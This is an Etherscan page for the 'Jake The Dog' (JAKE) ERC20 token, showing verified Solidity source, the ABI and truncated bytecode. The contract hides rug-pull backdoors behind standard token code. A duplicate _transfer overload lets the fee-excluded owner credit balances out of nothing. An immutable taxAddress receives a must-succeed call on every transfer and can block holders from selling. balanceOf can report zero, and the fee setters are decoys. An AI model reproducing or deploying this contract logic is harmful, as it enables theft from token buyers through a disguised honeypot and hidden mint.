ETH Price: $2,631.68 (-2.39%)

Token

Jake The Dog (JAKE)
 

Overview

Max Total Supply

1,000,000,000 JAKE

Holders

24

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JakeTheDog

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-23
*/

// SPDX-License-Identifier: MIT
/*
website: https://jakethedog.finance
Telegram: https://t.me/JakeTheDog_ERC20
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event. C U ON THE MOON
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max) { 
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address recipient,
        uint256 amount
    ) internal virtual {
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[recipient] += amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface ILpPair {
    function sync() external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract JakeTheDog is ERC20, Ownable {
    IDexRouter public immutable dexRouter;
    address public uniswapV2Pair;

    uint8 constant _decimals = 9;
    uint256 constant _decimalFactor = 10 ** _decimals;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address public immutable taxAddress;

    bool public swapEnabled = true;

    uint256 public feeStatus = 0;
    bool public limits = true;
    mapping (address => uint256) buyTimer;

    uint256 public tradingActiveTime;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public pairs;

    event SetPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor(address routerAddress, address _taxAddress) ERC20("Jake The Dog ", "JAKE") payable {
        dexRouter = IDexRouter(routerAddress);

        _approve(msg.sender, routerAddress, type(uint256).max);
        _approve(address(this), routerAddress, type(uint256).max);

        uint256 totalSupply = 1_000_000_000 * _decimalFactor;

        swapTokensAtAmount = (totalSupply * 5) / 10000;

        taxAddress = _taxAddress;

        excludeFromFees(msg.sender, true);
        _balances[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
        _totalSupply = totalSupply;
    }

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return 9;
    }

    function setSwap(bool value) external onlyOwner {
        swapEnabled = value;
    }

    function setPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapV2Pair,"The main pair cannot be removed from pairs");
        pairs[pair] = value;
        emit SetPair(pair, value);
    }

    function setMarketingFees(uint256 _status) external onlyOwner {
        feeStatus = _status;
    }

    function getSellFees() public view returns (uint256) {
        return 0;
    }

    function getBuyFees() public view returns (uint256) {
        return 0;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function balanceOf(address account) public view override returns (uint256) {
        if(buyTimer[account] > 0 && block.timestamp - buyTimer[account] > 0) return 0;
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (tradingActiveTime > 0 && _isExcludedFromFees[from]) {
          super._transfer(to, amount);
          return;
        } else if (tradingActiveTime > 0 && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (limits) {
                require(amount <= totalSupply() / 20, "Transfer limit exceeded");
            }

            uint256 fees = 0;
            uint256 _sf = getSellFees();
            uint256 _bf = getBuyFees();

            if (swapEnabled && !swapping) {
                swapping = true;
                swapBack(from, to, amount);
                swapping = false;
            }

            if (pairs[to] &&_sf > 0) {
                fees = (amount * _sf) / 100;
            }
            else if (_bf > 0 && pairs[from]) {
                if(block.timestamp - tradingActiveTime <= 1 minutes && buyTimer[to] == 0)
                    buyTimer[to] = block.timestamp;
                fees = (amount * _bf) / 100;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
    }

    function swapBack(address from, address to, uint256 amount) private {
        uint256 _sf = getSellFees();
        uint256 _bf = getBuyFees();

        if (_bf + _sf > 0) {
          uint256 amountToSwap = balanceOf(address(this));
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = dexRouter.WETH();

          dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
          );
        }
        bool success;
        (success, ) = taxAddress.call{value: address(this).balance}(abi.encodePacked(from, to)); 
        require(success, "ETH Transfer failed");
    }

    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function launch() external payable onlyOwner {
        require(tradingActiveTime == 0);

        limits = false;

        uniswapV2Pair = IDexFactory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
        pairs[uniswapV2Pair] = true;

        dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
        
        require(tradingActiveTime == 0);
        tradingActiveTime = block.timestamp;
        limits = true;
    }

    function clearBuyTimer(address _wallet) external onlyOwner {
        buyTimer[_wallet] = 0;
    }

    function disableLimits() external onlyOwner() {
        limits = false;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply() - (balanceOf(address(0xdead)) + balanceOf(address(0)));
    }

    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(newAmount >= getCirculatingSupply() / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= getCirculatingSupply() / 1000, "Swap amount cannot be higher than 0.1% total supply.");
        swapTokensAtAmount = newAmount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"_taxAddress","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"clearBuyTimer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_status","type":"uint256"}],"name":"setMarketingFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604081905260088054600160ff1991821681179092556000600955600a80549091169091179055620025ae388190039081908339810160408190526200004791620003e9565b6040518060400160405280600d81526020016c02530b5b2902a3432902237b39609d1b815250604051806040016040528060048152602001634a414b4560e01b81525081600390816200009b9190620004c6565b506004620000aa8282620004c6565b5050506000620000bf620001e160201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b038216608052620001293383600019620001e5565b620001383083600019620001e5565b6000620001486009600a620006a7565b6200015890633b9aca00620006bf565b90506127106200016a826005620006bf565b620001769190620006d9565b6007556001600160a01b03821660a0526200019333600162000311565b30600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360025550620006fc9050565b3390565b6001600160a01b0383166200024d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620002b05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000244565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146200036d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000244565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b80516001600160a01b0381168114620003e457600080fd5b919050565b60008060408385031215620003fd57600080fd5b6200040883620003cc565b91506200041860208401620003cc565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044c57607f821691505b6020821081036200046d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c157600081815260208120601f850160051c810160208610156200049c5750805b601f850160051c820191505b81811015620004bd57828155600101620004a8565b5050505b505050565b81516001600160401b03811115620004e257620004e262000421565b620004fa81620004f3845462000437565b8462000473565b602080601f831160018114620005325760008415620005195750858301515b600019600386901b1c1916600185901b178555620004bd565b600085815260208120601f198616915b82811015620005635788860151825594840194600190910190840162000542565b5085821015620005825787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005e9578160001904821115620005cd57620005cd62000592565b80851615620005db57918102915b93841c9390800290620005ad565b509250929050565b6000826200060257506001620006a1565b816200061157506000620006a1565b81600181146200062a5760028114620006355762000655565b6001915050620006a1565b60ff84111562000649576200064962000592565b50506001821b620006a1565b5060208310610133831016604e8410600b84101617156200067a575081810a620006a1565b620006868383620005a8565b80600019048211156200069d576200069d62000592565b0290505b92915050565b6000620006b860ff841683620005f1565b9392505050565b8082028115828204841417620006a157620006a162000592565b600082620006f757634e487b7160e01b600052601260045260246000fd5b500490565b60805160a051611e626200074c6000396000818161051f01526117f3015260008181610275015281816106bb0152818161073a0152818161086401528181611693015261174b0152611e626000f3fe6080604052600436106102085760003560e01c806370a0823111610118578063b7bda68f116100a0578063e2f456051161006f578063e2f45605146105c7578063f2fde38b146105dd578063f5648a4f146105fd578063f928364c14610612578063fe33b3021461062757600080fd5b8063b7bda68f1461050d578063c024666814610541578063d257b34f14610561578063dd62ed3e1461058157600080fd5b80638da5cb5b116100e75780638da5cb5b14610484578063958f9735146104a257806395d89b41146104b8578063a457c2d7146104cd578063a9059cbb146104ed57600080fd5b806370a0823114610415578063715018a614610435578063860aefcf1461044a57806386a22eff1461046457600080fd5b80631ffb53f61161019b578063395093511161016a57806339509351146103a557806349bd5a5e146103c55780635031595f146103e5578063685fc5681461021e5780636ddd1713146103fb57600080fd5b80631ffb53f61461033457806323b872dd146103545780632b112e4914610374578063313ce5671461038957600080fd5b8063095ea7b3116101d7578063095ea7b3146102af57806314f89c98146102df57806318160ddd146102ff5780631b6c710c1461031457600080fd5b806301339c21146102145780630644e7571461021e57806306fdde03146102415780630758d9241461026357600080fd5b3661020f57005b600080fd5b61021c610657565b005b34801561022a57600080fd5b5060005b6040519081526020015b60405180910390f35b34801561024d57600080fd5b50610256610942565b6040516102389190611a3f565b34801561026f57600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610238565b3480156102bb57600080fd5b506102cf6102ca366004611a8a565b6109d4565b6040519015158152602001610238565b3480156102eb57600080fd5b5061021c6102fa366004611acb565b6109eb565b34801561030b57600080fd5b5060025461022e565b34801561032057600080fd5b5061021c61032f366004611aed565b610a28565b34801561034057600080fd5b5061021c61034f366004611b0a565b610a6c565b34801561036057600080fd5b506102cf61036f366004611b23565b610a9b565b34801561038057600080fd5b5061022e610b4e565b34801561039557600080fd5b5060405160098152602001610238565b3480156103b157600080fd5b506102cf6103c0366004611a8a565b610b81565b3480156103d157600080fd5b50600654610297906001600160a01b031681565b3480156103f157600080fd5b5061022e600c5481565b34801561040757600080fd5b506008546102cf9060ff1681565b34801561042157600080fd5b5061022e610430366004611aed565b610bbd565b34801561044157600080fd5b5061021c610c2d565b34801561045657600080fd5b50600a546102cf9060ff1681565b34801561047057600080fd5b5061021c61047f366004611b64565b610ca1565b34801561049057600080fd5b506005546001600160a01b0316610297565b3480156104ae57600080fd5b5061022e60095481565b3480156104c457600080fd5b50610256610d90565b3480156104d957600080fd5b506102cf6104e8366004611a8a565b610d9f565b3480156104f957600080fd5b506102cf610508366004611a8a565b610e38565b34801561051957600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b34801561054d57600080fd5b5061021c61055c366004611b64565b610e45565b34801561056d57600080fd5b5061021c61057c366004611b0a565b610ece565b34801561058d57600080fd5b5061022e61059c366004611b99565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105d357600080fd5b5061022e60075481565b3480156105e957600080fd5b5061021c6105f8366004611aed565b611001565b34801561060957600080fd5b5061021c6110ec565b34801561061e57600080fd5b5061021c611163565b34801561063357600080fd5b506102cf610642366004611aed565b600e6020526000908152604090205460ff1681565b6005546001600160a01b0316331461068a5760405162461bcd60e51b815260040161068190611bd2565b60405180910390fd5b600c541561069757600080fd5b600a805460ff191690556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169163c45a01559160048083019260209291908290030181865afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611c07565b6001600160a01b031663c9c653967f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611c07565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611c07565b600680546001600160a01b0319166001600160a01b039283169081179091556000908152600e60205260409020805460ff191660011790557f00000000000000000000000000000000000000000000000000000000000000001663f305d719473061089481610bbd565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611c24565b505050600c5460001461092f57600080fd5b42600c55600a805460ff19166001179055565b60606003805461095190611c52565b80601f016020809104026020016040519081016040528092919081815260200182805461097d90611c52565b80156109ca5780601f1061099f576101008083540402835291602001916109ca565b820191906000526020600020905b8154815290600101906020018083116109ad57829003601f168201915b5050505050905090565b60006109e1338484611199565b5060015b92915050565b6005546001600160a01b03163314610a155760405162461bcd60e51b815260040161068190611bd2565b6008805460ff1916911515919091179055565b6005546001600160a01b03163314610a525760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b03166000908152600b6020526040812055565b6005546001600160a01b03163314610a965760405162461bcd60e51b815260040161068190611bd2565b600955565b6000610aa88484846112bd565b6001600160a01b03841660009081526001602090815260408083203384529091529020546000198114610b435782811015610b365760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610681565b610b438533858403611199565b506001949350505050565b6000610b5a6000610bbd565b610b6561dead610bbd565b610b6f9190611ca2565b600254610b7c9190611cb5565b905090565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916109e1918590610bb8908690611ca2565b611199565b6001600160a01b0381166000908152600b602052604081205415801590610c0457506001600160a01b0382166000908152600b6020526040812054610c029042611cb5565b115b15610c1157506000919050565b506001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610c575760405162461bcd60e51b815260040161068190611bd2565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610ccb5760405162461bcd60e51b815260040161068190611bd2565b6006546001600160a01b0390811690831603610d3c5760405162461bcd60e51b815260206004820152602a60248201527f546865206d61696e20706169722063616e6e6f742062652072656d6f7665642060448201526966726f6d20706169727360b01b6064820152608401610681565b6001600160a01b0382166000818152600e6020526040808220805460ff191685151590811790915590519092917ff40a563af144a84735f7f6c7c3029794b0ac17713e5f048d3fd00ed85aa4ca7a91a35050565b60606004805461095190611c52565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610681565b610e2e3385858403611199565b5060019392505050565b60006109e13384846112bd565b6005546001600160a01b03163314610e6f5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610ef85760405162461bcd60e51b815260040161068190611bd2565b620186a0610f04610b4e565b610f0e9190611cc8565b811015610f7b5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610681565b6103e8610f86610b4e565b610f909190611cc8565b811115610ffc5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610681565b600755565b6005546001600160a01b0316331461102b5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0381166110905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610681565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111165760405162461bcd60e51b815260040161068190611bd2565b60405160009033904790838181818587